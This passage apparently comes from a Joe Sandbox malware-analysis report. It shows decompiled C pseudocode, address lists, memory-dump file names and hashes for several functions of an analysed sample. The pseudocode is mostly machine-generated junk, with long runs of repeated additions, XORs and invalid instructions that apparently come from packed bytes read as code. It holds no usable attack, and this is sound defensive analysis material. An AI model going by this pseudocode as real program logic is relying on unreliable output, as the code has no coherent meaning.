				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__edi =  *__edi + __ecx;
				asm("das");
				 *(__esi - 0x72d0faaf) =  *(__esi - 0x72d0faaf) ^ __ecx;
				_push(__eax);
				_push(es);
				asm("das");
				 *(__esi - 0x72d0f5af) =  *(__esi - 0x72d0f5af) ^ __ecx;
				_push(__eax);
				 *__edi =  *__edi | _t94;
				 *(__esi - 0x72d0f3af) =  *(__esi - 0x72d0f3af) ^ __ecx;
				_push(__eax);
				 *(__esi - 0x72d0faaf) =  *(__esi - 0x72d0faaf) ^ __ecx;
				_push(__eax);
				_pop(es);
				 *(__esi - 0x72d0fbaf) =  *(__esi - 0x72d0fbaf) ^ __ecx;
				_push(__eax);
				_t67 = __eax +  *__eax;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + _t67;
				 *_t67 =  *_t67 + __eax + 0xa;
				ss =  *((intOrPtr*)(__ecx + 0x1b));
				asm("das");
				asm("das");
				 *(__esi - 0x72d09daf) =  *(__esi - 0x72d09daf) ^ __ecx;
				_push(_t67);
				asm("a16 das");
				_t24 = __esi - 0x72d07aaf;
				 *_t24 =  *(__esi - 0x72d07aaf) ^ __ecx;
				_push(_t67);
				if( *_t24 >= 0) {
					ss =  *((intOrPtr*)(__ecx + 0x7d));
					asm("das");
					asm("das");
					asm("das");
					 *(__esi - 0x72d04baf) =  *(__esi - 0x72d04baf) ^ __ecx;
					_push(_t67);
					asm("scasb");
					asm("das");
					 *(__esi - 0x72d056af) =  *(__esi - 0x72d056af) ^ __ecx;
					_push(_t67);
					_t67 = 0x2f;
					 *(__esi - 0x72d02caf) =  *(__esi - 0x72d02caf) ^ __ecx;
					_push(0x2f);
					_t69 = 0xaf508d2f;
				}
				 *(_t92 - 0x72d035af) =  *(_t92 - 0x72d035af) ^ _t69;
				_push(_t67);
				asm("retf");
				asm("das");
				 *(_t92 - 0x72d01caf) =  *(_t92 - 0x72d01caf) ^ _t69;
				ss =  *((intOrPtr*)(_t69 - 0x1d));
				asm("das");
				asm("das");
				 *(_t92 - 0x72d036af) =  *(_t92 - 0x72d036af) ^ _t69;
				_push(_t67);
				asm("retf");
				 *(_t92 - 0x72d02aaf) =  *(_t92 - 0x72d02aaf) ^ _t69;
				_push(_t67);
				 *0xFFFFFFFF46803480 =  *0xFFFFFFFF46803480 ^ _t69;
				_push(_t67);
				_t68 = _t96;
				asm("das");
				 *0xFFFFFFFF46800980 =  *0xFFFFFFFF46800980 ^ _t69;
				_push(_t68);
				asm("invalid");
				 *0xFFFFFFFF467FE780 =  *0xFFFFFFFF467FE780 ^ _t69;
				_t70 = _t68;
				asm("das");
				_t85 = _t68 + 0x41;
				 *0xFFFFFFFFB9509E80 =  *0xFFFFFFFFB9509E80 ^ _t70;
				_push(_t70);
				asm("adc [eax], eax");
				 *_t68 =  *_t68 + _t68;
				 *_t68 =  *_t68 + _t68;
				 *_t68 =  *_t68 + _t68;
				 *_t68 =  *_t68 + _t68;
				 *_t68 =  *_t68 + _t68;
				 *_t68 =  *_t68 + _t68;
				 *_t68 =  *_t68 + _t68;
				 *_t68 =  *_t68 + _t85;
				ss =  *((intOrPtr*)(_t70 + 0x11));
				 *0xFFFFFFFF47811180 =  *0xFFFFFFFF47811180 ^ _t70;
				_push(_t70);
				return _t68;
			}

0x00406da8
0x00406da8
0x00406da8
0x00406da9
0x00406dab
0x00406dad
0x00406daf
0x00406db1
0x00406db3
0x00406db9
0x00406dbb
0x00406dbd
0x00406dbf
0x00406dc1
0x00406dc3
0x00406dc5
0x00406dc7
0x00406dc9
0x00406dcb
0x00406dcd
0x00406dcf
0x00406dd1
0x00406dd3
0x00406dd5
0x00406dd7
0x00406dd9
0x00406ddb
0x00406ddd
0x00406ddf
0x00406de1
0x00406de3
0x00406de5
0x00406de7
0x00406de9
0x00406deb
0x00406ded
0x00406def
0x00406df1
0x00406df3
0x00406df5
0x00406df7
0x00406df9
0x00406dfb
0x00406dfd
0x00406dff
0x00406e01
0x00406e03
0x00406e05
0x00406e07
0x00406e09
0x00406e0b
0x00406e0d
0x00406e0f
0x00406e11
0x00406e13
0x00406e15
0x00406e17
0x00406e19
0x00406e1b
0x00406e1d
0x00406e1f
0x00406e21
0x00406e23
0x00406e25
0x00406e27
0x00406e29
0x00406e2b
0x00406e2d
0x00406e2f
0x00406e31
0x00406e33
0x00406e35
0x00406e37
0x00406e39
0x00406e3b
0x00406e3d
0x00406e3f
0x00406e41
0x00406e43
0x00406e45
0x00406e47
0x00406e49
0x00406e4b
0x00406e4d
0x00406e4f
0x00406e51
0x00406e53
0x00406e55
0x00406e57
0x00406e59
0x00406e5b
0x00406e5d
0x00406e5f
0x00406e61
0x00406e63
0x00406e65
0x00406e67
0x00406e69
0x00406e6b
0x00406e6d
0x00406e6f
0x00406e71
0x00406e73
0x00406e75
0x00406e77
0x00406e79
0x00406e7b
0x00406e7d
0x00406e7f
0x00406e81
0x00406e83
0x00406e85
0x00406e87
0x00406e89
0x00406e8b
0x00406e8d
0x00406e8f
0x00406e91
0x00406e93
0x00406e95
0x00406e97
0x00406e99
0x00406e9b
0x00406e9d
0x00406e9f
0x00406ea1
0x00406ea3
0x00406ea5
0x00406ea7
0x00406ea9
0x00406eab
0x00406ead
0x00406eaf
0x00406eb1
0x00406eb3
0x00406eb5
0x00406eb7
0x00406eb9
0x00406ebb
0x00406ebd
0x00406ebf
0x00406ec1
0x00406ec3
0x00406ec5
0x00406ec7
0x00406ec9
0x00406ecb
0x00406ecd
0x00406ecf
0x00406ed1
0x00406ed3
0x00406ed8
0x00406edc
0x00406ee2
0x00406ee3
0x00406ee4
0x00406ee8
0x00406eee
0x00406eef
0x00406ef4
0x00406efa
0x00406f00
0x00406f06
0x00406f07
0x00406f08
0x00406f0e
0x00406f0f
0x00406f11
0x00406f13
0x00406f15
0x00406f17
0x00406f19
0x00406f1b
0x00406f1d
0x00406f1f
0x00406f21
0x00406f23
0x00406f25
0x00406f27
0x00406f29
0x00406f2b
0x00406f2d
0x00406f2f
0x00406f31
0x00406f33
0x00406f35
0x00406f37
0x00406f39
0x00406f3b
0x00406f3d
0x00406f3f
0x00406f41
0x00406f43
0x00406f45
0x00406f47
0x00406f49
0x00406f4b
0x00406f4d
0x00406f4f
0x00406f51
0x00406f53
0x00406f55
0x00406f58
0x00406f5c
0x00406f60
0x00406f66
0x00406f67
0x00406f6c
0x00406f6c
0x00406f72
0x00406f73
0x00406f75
0x00406f78
0x00406f7c
0x00406f80
0x00406f84
0x00406f8a
0x00406f8b
0x00406f8c
0x00406f90
0x00406f96
0x00406f97
0x00406f9c
0x00406fa2
0x00406fa3
0x00406fa3
0x00406fa8
0x00406fae
0x00406faf
0x00406fb0
0x00406fb4
0x00406fb5
0x00406fb8
0x00406fbc
0x00406fc0
0x00406fc6
0x00406fc7
0x00406fc8
0x00406fce
0x00406fd4
0x00406fda
0x00406fdb
0x00406fdc
0x00406fe0
0x00406fe6
0x00406fe7
0x00406fec
0x00406ff3
0x00406ff4
0x00406ff5
0x00406ff8
0x00406ffa
0x00406ffb
0x00406ffd
0x00406fff
0x00407001
0x00407003
0x00407005
0x00407007
0x00407009
0x0040700b
0x0040700d
0x00407010
0x00407016
0x00407017

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cecdb589f966b03f6293758286911b4dc19da2011bc1522f246e62575e8c940
Instruction ID: 20bf51403c2509b144f3f333c661749d8aa9e89f02b69ed33ed482313f7fde02
Opcode Fuzzy Hash: 6cecdb589f966b03f6293758286911b4dc19da2011bc1522f246e62575e8c940
Instruction Fuzzy Hash: 4221FC7108A7C2DFD312D734D8989C2BFE99ECA21039A4DCDD0D49F077E2A45268C766

Uniqueness

Uniqueness Score: -1.00%

Function 00409350, Relevance: .2, Instructions: 205
COMMONCrypto

Download Yara Rule

C-Code - Quality: 65%

			E00409350() {
				void* _t82;
				intOrPtr* _t83;
				intOrPtr* _t84;
				signed int* _t88;
				signed int _t101;
				signed int _t102;
				signed char _t106;
				signed int _t107;
				intOrPtr _t108;
				void* _t111;
				void* _t112;
				signed char* _t113;
				intOrPtr* _t120;
				signed int* _t122;
				void* _t127;
				void* _t133;
				signed int _t136;
				signed int _t138;

				_t83 = _t82 + 1;
				 *_t83 =  *_t83 + _t83;
				 *_t106 =  *_t106 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *((intOrPtr*)(_t83 + 0x10)) =  *((intOrPtr*)(_t83 + 0x10)) + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t83;
				 *_t83 =  *_t83 + _t108;
				ss =  *((intOrPtr*)(_t106 + 0x16));
				 *(_t120 - 0x71cfcfaf) =  *(_t120 - 0x71cfcfaf) ^ _t106;
				_push(_t106);
				 *(_t120 - 0x71cfacaf) =  *(_t120 - 0x71cfacaf) ^ _t106;
				_t84 = _t106;
				 *(_t120 - 0x71cfadaf) =  *(_t120 - 0x71cfadaf) ^ _t106;
				_push(_t106);
				_t113 = _t112 - 1;
				_t10 = _t120 - 0x71cfa6af;
				 *_t10 =  *(_t120 - 0x71cfa6af) ^ _t106;
				_push(_t106);
				if( *_t10 >= 0) {
					L2:
					ss =  *((intOrPtr*)(_t106 + 0x73));
					 *(_t120 - 0x71cfa1af) =  *(_t120 - 0x71cfa1af) ^ _t106;
					_push(_t106);
					_push(_t84);
					 *(_t120 - 0x71cfa0af) =  *(_t120 - 0x71cfa0af) ^ _t106;
					_push(_t106);
					asm("aas");
					 *(_t120 - 0x71cfc6af) =  *(_t120 - 0x71cfc6af) ^ _t106;
					_push(_t106);
					asm("adc eax, [eax]");
					 *_t84 =  *_t84 + _t84;
					 *_t84 =  *_t84 + _t84;
					 *_t84 =  *_t84 + _t84;
					 *_t84 =  *_t84 + _t84;
					 *_t84 =  *_t84 + _t84;
					 *_t84 =  *_t84 + _t108;
					ss =  *((intOrPtr*)(_t106 - 0x7d));
					 *(_t120 - 0x71cf28af) =  *(_t120 - 0x71cf28af) ^ _t106;
					L3:
					ss =  *((intOrPtr*)(_t106 - 0x17));
					 *(_t120 - 0x71cf13af) =  *(_t120 - 0x71cf13af) ^ _t106;
					ss =  *((intOrPtr*)(_t106 - 0xb));
					 *(_t120 - 0x71cf04af) =  *(_t120 - 0x71cf04af) ^ _t106;
					_push(_t106);
					asm("clc");
					 *(_t120 - 0x71cf0aaf) =  *(_t120 - 0x71cf0aaf) ^ _t106;
					_push(_t106);
					asm("in eax, dx");
					 *(_t120 - 0x71cf0caf) =  *(_t120 - 0x71cf0caf) ^ _t106;
					_push(_t106);
					asm("sti");
					 *(_t120 - 0x71cf09af) =  *(_t120 - 0x71cf09af) ^ _t106;
					_push(_t106);
					asm("hlt");
					 *(_t120 - 0x71cf03af) =  *(_t120 - 0x71cf03af) ^ _t106;
					_push(_t106);
					asm("stc");
					 *(_t120 - 0x71cf0caf) =  *(_t120 - 0x71cf0caf) ^ _t106;
					_push(_t106);
					asm("stc");
					 *(_t120 - 0x71cf03af) =  *(_t120 - 0x71cf03af) ^ _t106;
					_push(_t106);
					asm("cld");
					 *(_t120 - 0x71cf05af) =  *(_t120 - 0x71cf05af) ^ _t106;
					_push(_t106);
					asm("std");
					 *(_t120 - 0x71cf01af) =  *(_t120 - 0x71cf01af) ^ _t106;
					_push(_t106);
					asm("sti");
					 *(_t120 - 0x71cf07af) =  *(_t120 - 0x71cf07af) ^ _t106;
					_t122 = _t106;
					 *_t113 =  *_t113 >> _t106;
					asm("fistp qword [esi]");
					asm("loope 0x3f");
					_t88 = _t122;
					asm("pushad");
					asm("les edi, [edi]");
					_pop(_t133);
					asm("loop 0x40");
					asm("xlatb");
					_t107 = _t106 + 1;
					asm("pushad");
					 *_t88 =  *_t88 >> 1;
					asm("aam 0x3b");
					asm("loop 0x41");
					asm("int3");
					asm("fidivr dword [edi]");
					_t127 = _t133;
					_pop(_t136);
					asm("fild word [edx-0x69]");
					asm("pushad");
					asm("pushad");
					asm("fdivr dword [esp+edx*4]");
					asm("fidivr word [ebx]");
					_pop(_t111);
					asm("fistp qword [esi]");
					_t101 = _t136;
					L7:
					_pop(_t138);
					asm("fnstsw word [esi]");
					_t102 = _t138;
					asm("aad 0x31");
					ss =  *((intOrPtr*)(_t111 - 0x6c));
					 *(_t127 - 0x71cfa1af) =  *(_t127 - 0x71cfa1af) ^ _t107;
					_push(_t107);
					_push(ss);
					 *_t102 =  *_t102 + _t102;
					 *_t102 =  *_t102 + _t102;
					 *_t102 =  *_t102 + _t102;
					 *_t102 =  *_t102 + _t102;
					 *_t102 =  *_t102 + _t102;
					 *_t102 =  *_t102 + _t102;
					_t101 = _t107;
					_t107 = _t102;
					_push(_t127);
					_push(_t101);
					asm("lahf");
					asm("insb");
					goto L7;
				}
				ss =  *((intOrPtr*)(_t106 + 0x73));
				 *(_t120 - 0x71cf8eaf) =  *(_t120 - 0x71cf8eaf) ^ _t106;
				_push(_t106);
				 *_t84 = _t120;
				ss =  *((intOrPtr*)(_t106 - 0x73));
				 *( *_t84 - 0x71cf84af) =  *( *_t84 - 0x71cf84af) ^ _t106;
				_push(_t106);
				_t120 = _t84;
				ss =  *((intOrPtr*)(_t106 - 0x72));
				 *(_t120 - 0x71cf64af) =  *(_t120 - 0x71cf64af) ^ _t106;
				_push(_t106);
				_t22 = _t108;
				_t108 =  *_t84;
				 *_t84 = _t22;
				ss =  *((intOrPtr*)(_t106 - 0x76));
				_t24 = _t120 - 0x71cf6faf;
				 *_t24 =  *(_t120 - 0x71cf6faf) ^ _t106;
				_push(_t106);
				if( *_t24 > 0) {
					goto L3;
				}
				goto L2;
			}

0x00409350
0x00409351
0x00409353
0x00409355
0x00409357
0x00409359
0x0040935b
0x00409361
0x00409363
0x00409365
0x00409367
0x00409369
0x0040936b
0x0040936d
0x0040936f
0x00409371
0x00409373
0x00409375
0x00409377
0x00409379
0x0040937b
0x0040937d
0x0040937f
0x00409381
0x00409383
0x00409385
0x00409387
0x00409389
0x0040938b
0x0040938d
0x0040938f
0x00409391
0x00409393
0x00409395
0x00409397
0x00409399
0x0040939b
0x0040939d
0x0040939f
0x004093a1
0x004093a3
0x004093a5
0x004093a7
0x004093a9
0x004093ab
0x004093ad
0x004093af
0x004093b1
0x004093b3
0x004093b5
0x004093b7
0x004093b9
0x004093bb
0x004093bd
0x004093bf
0x004093c1
0x004093c3
0x004093c5
0x004093c7
0x004093c9
0x004093cb
0x004093cd
0x004093cf
0x004093d1
0x004093d3
0x004093d5
0x004093d7
0x004093d9
0x004093db
0x004093dd
0x004093df
0x004093e1
0x004093e3
0x004093e5
0x004093e7
0x004093e9
0x004093eb
0x004093ed
0x004093ef
0x004093f1
0x004093f3
0x004093f5
0x004093f7
0x004093f9
0x004093fc
0x00409402
0x00409404
0x0040940b
0x0040940c
0x00409412
0x00409413
0x00409414
0x00409414
0x0040941a
0x0040941b
0x0040944d
0x0040944d
0x00409450
0x00409456
0x00409457
0x00409458
0x0040945e
0x0040945f
0x00409460
0x00409466
0x00409467
0x00409469
0x0040946b
0x0040946d
0x0040946f
0x00409471
0x00409473
0x00409475
0x00409478
0x0040947d
0x0040947d
0x00409480
0x00409485
0x00409488
0x0040948e
0x0040948f
0x00409490
0x00409496
0x00409497
0x00409498
0x0040949e
0x0040949f
0x004094a0
0x004094a6
0x004094a7
0x004094a8
0x004094ae
0x004094af
0x004094b0
0x004094b6
0x004094b7
0x004094b8
0x004094be
0x004094bf
0x004094c0
0x004094c6
0x004094c7
0x004094c8
0x004094ce
0x004094cf
0x004094d0
0x0040950a
0x0040950b
0x0040950f
0x00409513
0x00409515
0x0040951e
0x00409523
0x00409526
0x00409527
0x0040952b
0x0040952c
0x0040952e
0x0040952f
0x00409533
0x00409537
0x0040953b
0x00409543
0x00409545
0x00409546
0x00409547
0x0040954a
0x0040954e
0x0040954f
0x00409553
0x00409556
0x00409557
0x00409559
0x0040955a
0x0040955a
0x0040955b
0x0040955d
0x0040955f
0x00409561
0x00409564
0x0040956a
0x0040956b
0x0040956c
0x0040956e
0x00409570
0x00409572
0x00409574
0x00409576
0x00409578
0x00409578
0x0040957a
0x0040957b
0x0040957d
0x0040957e
0x00000000
0x0040957e
0x0040941d
0x00409420
0x00409426
0x00409427
0x00409429
0x0040942c
0x00409432
0x00409433
0x00409435
0x00409438
0x0040943e
0x0040943f
0x0040943f
0x0040943f
0x00409441
0x00409444
0x00409444
0x0040944a
0x0040944b
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b7faa4242ddfb469e10d24f59bc417fd62dce5f77ec19fce019f4b7884fe771
Instruction ID: dc36856f75deaff5d1664bd4aaa7f17e3064bd2aa8a58e43876811db7a75c472
Opcode Fuzzy Hash: 7b7faa4242ddfb469e10d24f59bc417fd62dce5f77ec19fce019f4b7884fe771
Instruction Fuzzy Hash: 5741715355EAD2EEE31B8BB89C19453FF986D479203090EDED0E09F093E196492DC367

Uniqueness

Uniqueness Score: -1.00%

Function 004052D4, Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2256715772.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2256712625.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.2256730665.0000000000422000.00000040.00020000.sdmp Download File
Associated: 00000007.00000002.2256733912.0000000000423000.00000020.00020000.sdmp Download File
Associated: 00000007.00000002.2256739325.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.2256743297.000000000042D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tmp_e473b4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ff51a9e06bdb94a099717903e7cf8c20d7800a316cdafb28058dd3f8e4162e5
Instruction ID: c9b8e15257a981657f70bb293d509f30b5fa247d60b9d2eb96ec0f9db1b19867
Opcode Fuzzy Hash: 5ff51a9e06bdb94a099717903e7cf8c20d7800a316cdafb28058dd3f8e4162e5
Instruction Fuzzy Hash: 34218B5A426EC1EEA30A47B5D80A467FFA9EE4EA503540ECDE2D11F263F2670138D316

Uniqueness

Uniqueness Score: -1.00%

Function 0040314D, Relevance: .0, Instructions: 47
COMMONCrypto

Download Yara Rule

C-Code - Quality: 46%

			E0040314D(intOrPtr* __eax, signed int __ecx, signed int __esi) {
				intOrPtr* _t88;
				signed int _t91;

				ss =  *((intOrPtr*)(__ecx - 1));
				 *(__esi - 0x71cf01af) =  *(__esi - 0x71cf01af) ^ __ecx;
				_push(__ecx);
				_push( *__eax);
				ss =  *((intOrPtr*)(__ecx - 1));
				 *(__esi - 0x71cf00af) =  *(__esi - 0x71cf00af) ^ __ecx;
				_push(__ecx);
				_push( *__eax);
				ss =  *((intOrPtr*)(__ecx - 2));
				 *(__esi - 0x71cf00af) =  *(__esi - 0x71cf00af) ^ __ecx;
				_push(__ecx);
				asm("sti");
				 *(__esi - 0x71cf03af) =  *(__esi - 0x71cf03af) ^ __ecx;
				_push(__ecx);
				_push( *__eax);
				ss =  *((intOrPtr*)(__ecx - 0xe));
				 *(__esi - 0x71cf0faf) =  *(__esi - 0x71cf0faf) ^ __ecx;
				_push(__ecx);
				asm("cli");
				 *(__esi - 0x71cf00af) =  *(__esi - 0x71cf00af) ^ __ecx;
				_push(__ecx);
				asm("hlt");
				 *(__esi - 0x71cf0aaf) =  *(__esi - 0x71cf0aaf) ^ __ecx;
				_push(__ecx);
				asm("out dx, al");
				 *(__esi + 0x2851) =  *(__esi + 0x2851) ^ __ecx;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *__eax =  *__eax + __eax;
				 *(__esi - 0x71cfd8af) =  *(__esi - 0x71cfd8af) ^ __ecx;
				_push(__ecx);
				 *(__eax - 0x71cf3eaf) =  *(__eax - 0x71cf3eaf) ^ __ecx;
				_push(__ecx);
				 *__esi =  *__esi << 0x8e;
				_push(__ecx);
				asm("out dx, al");
